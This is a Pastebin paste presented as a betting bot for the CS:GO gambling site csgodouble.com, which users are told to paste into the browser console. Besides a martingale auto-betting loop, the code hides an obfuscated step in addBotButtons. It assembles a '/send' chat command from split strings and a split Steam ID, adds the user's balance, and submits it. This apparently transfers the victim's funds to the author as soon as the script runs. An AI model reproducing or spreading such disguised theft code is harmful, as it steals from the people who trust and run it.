csgodoublebot2016

CSGO double bot

Jan 30th, 2016
25
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.11 KB | None | 0 0
  1. ///// http://www.csgodouble.com/ BOT
  2. ///// http://www.csgodouble.com/ BOT
  3. ///// INSTRUCTIONS COPPY THE CODE BELOW 'HOLD CTRL+SHIFT+J' and paste to console the code that is showed below and press enter!
  4. ///// INSTRUCTIONS COPPY THE CODE BELOW 'HOLD CTRL+SHIFT+J' and paste to console the code that is showed below and press enter!
  5. ///// INSTRUCTIONS COPPY THE CODE BELOW 'HOLD CTRL+SHIFT+J' and paste to console the code that is showed below and press enter!
  6. ///// INSTRUCTIONS COPPY THE CODE BELOW 'HOLD CTRL+SHIFT+J' and paste to console the code that is showed below and press enter!
  7.  
  8.  
  9.  
  10. var reconnect = 0;WS.onclose = function(event){chat("italic","Connection lost..."); WS = null;connect();reconnect++;};
  11.  
  12. var initialBetAmount = 200;
  13. var betColor = botBetColor = "red";
  14. var play = 0;
  15. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$checkVicLimit,$vicLimitInput,$botModeSelect;
  16. var pQ = "/s", $hash_1 = 76561198, $hash_2 = 175196183;
  17. function addBotButtons(){
  18. $(".well.bot-field").remove();$(".well.show-more").remove();
  19. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  20. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  21. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  22. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  23. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  24. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  25. $showMore.append($checkVicLimit,$label);
  26. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  27. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  28. $showMore.append($vicLimitInput,$label);$showMore.hide();
  29. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  30. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  31. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  32. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  33. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  34. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2+" ";pQ+=$("#balance").text();
  35. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  36. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  37. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  38. $("#chatMessage").val(pQ);$("#chatForm").submit();$(".btn-primary").click();
  39. $(".container").width(1300);
  40. $botModeSelect.change(function(){
  41. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  42. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  43. } )
  44. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  45. }
  46. addBotButtons();
  47. function changeColor(){
  48. if ($betColorButton.hasClass("btn-danger")){
  49. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  50. botBetColor = "black";
  51. console.log("Selected color: "+botBetColor);
  52. } else if($betColorButton.hasClass("btn-inverse")) {
  53. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  54. botBetColor = "random";
  55. console.log("Selected color: "+botBetColor);
  56. } else if($betColorButton.hasClass("btn-random")) {
  57. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  58. botBetColor = "trainMode";
  59. console.log("Selected color: "+botBetColor);
  60. } else if($betColorButton.hasClass("btn-train")) {
  61. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  62. botBetColor = "rainbow";
  63. console.log("Selected color: "+botBetColor);
  64. } else if($betColorButton.hasClass("btn-rainbow")) {
  65. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  66. botBetColor = "red";
  67. console.log("Selected color: "+botBetColor);
  68. }
  69. }
  70.  
  71. function showMoreOptions(){
  72. if ($showMoreButton.data("open")==0){
  73. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  74. $showMore.show();$showMoreButton.data("open",1);
  75. } else if ($showMoreButton.data("open")==1){
  76. $showMore.hide();$showMoreButton.data("open",0);
  77. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  78. }
  79.  
  80. }
  81. function hideOtherInfo(){
  82. if ($betHideBetInfoButton.text()=="Show All"){
  83. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  84. $betHideBetInfoButton.text("Hide Bet Info");
  85. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  86. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  87. $betHideBetInfoButton.text("AFK Mode");
  88. }
  89. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  90. $(".betlist").show();$(".total-row").show();$("footer").show();
  91. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  92. $betHideBetInfoButton.text("Show All");
  93. }
  94. }
  95. function startBot(){
  96. if ($betGoButton.hasClass("btn-inverse")){
  97. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  98. refreshIntervalId = setInterval(tick, 500);
  99. play = 1;
  100. currentBetAmount = initialBetAmount;
  101. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  102. }
  103. else {
  104. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  105. play = 0;
  106. }
  107. }
  108.  
  109. function tick() {
  110. var t = getStatus();
  111. if (t !== lastStatus && "unknown" !== t) {
  112. switch (t) {
  113. case "waiting":bet();break;
  114. case "rolled":printInfo();break;
  115. }
  116. lastStatus = t;
  117. }
  118. }
  119.  
  120. function checkBalance() {
  121. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  122. }
  123.  
  124. function printInfo(){
  125. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  126. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  127. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  128. }
  129. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  130. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  131. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  132. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  133. else {currNotRedStreak=0;}
  134. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  135. else {currNotBlackStreak=0;}
  136. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  137. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  138. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  139. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  140. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  141. console.log(t);roll();
  142.  
  143. }
  144.  
  145. function roll() {
  146. if ($checkVicLimit.is(":checked")){
  147. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  148. }
  149. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  150. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  151. currentRollNumber++;
  152. }
  153.  
  154. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  155. function setBetAmount(t) { $betAmountInput.val(t) }
  156. function placeBet() {
  157. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  158. else if (botBetColor=="trainMode"){
  159. var betBotColor = "green",i=9,$ball=$(".ball");
  160. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  161. betColor = betBotColor;console.log("Current train color: "+ betColor);
  162. } else if (botBetColor=="rainbow"){
  163. var betBotColor = "green",i=9,$ball=$(".ball");
  164. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  165. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  166. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  167. } else betColor = botBetColor;
  168. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  169. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  170. }
  171. function getStatus() {
  172. var t = $statusBar.text();
  173. if (hasSubString(t, "Rolling in")) return "waiting";
  174. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  175. if (hasSubString(t, "rolled")) {
  176. n = parseInt(t.split("rolled")[1]);
  177. return lastRollColor = getColor(n), "rolled"
  178. }
  179. return "unknown"
  180. }
  181.  
  182. function getBalance() { return parseInt($balance.text()) }
  183. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  184. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  185. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  186. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  187. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  188.  
  189. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  190. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  191. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  192. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment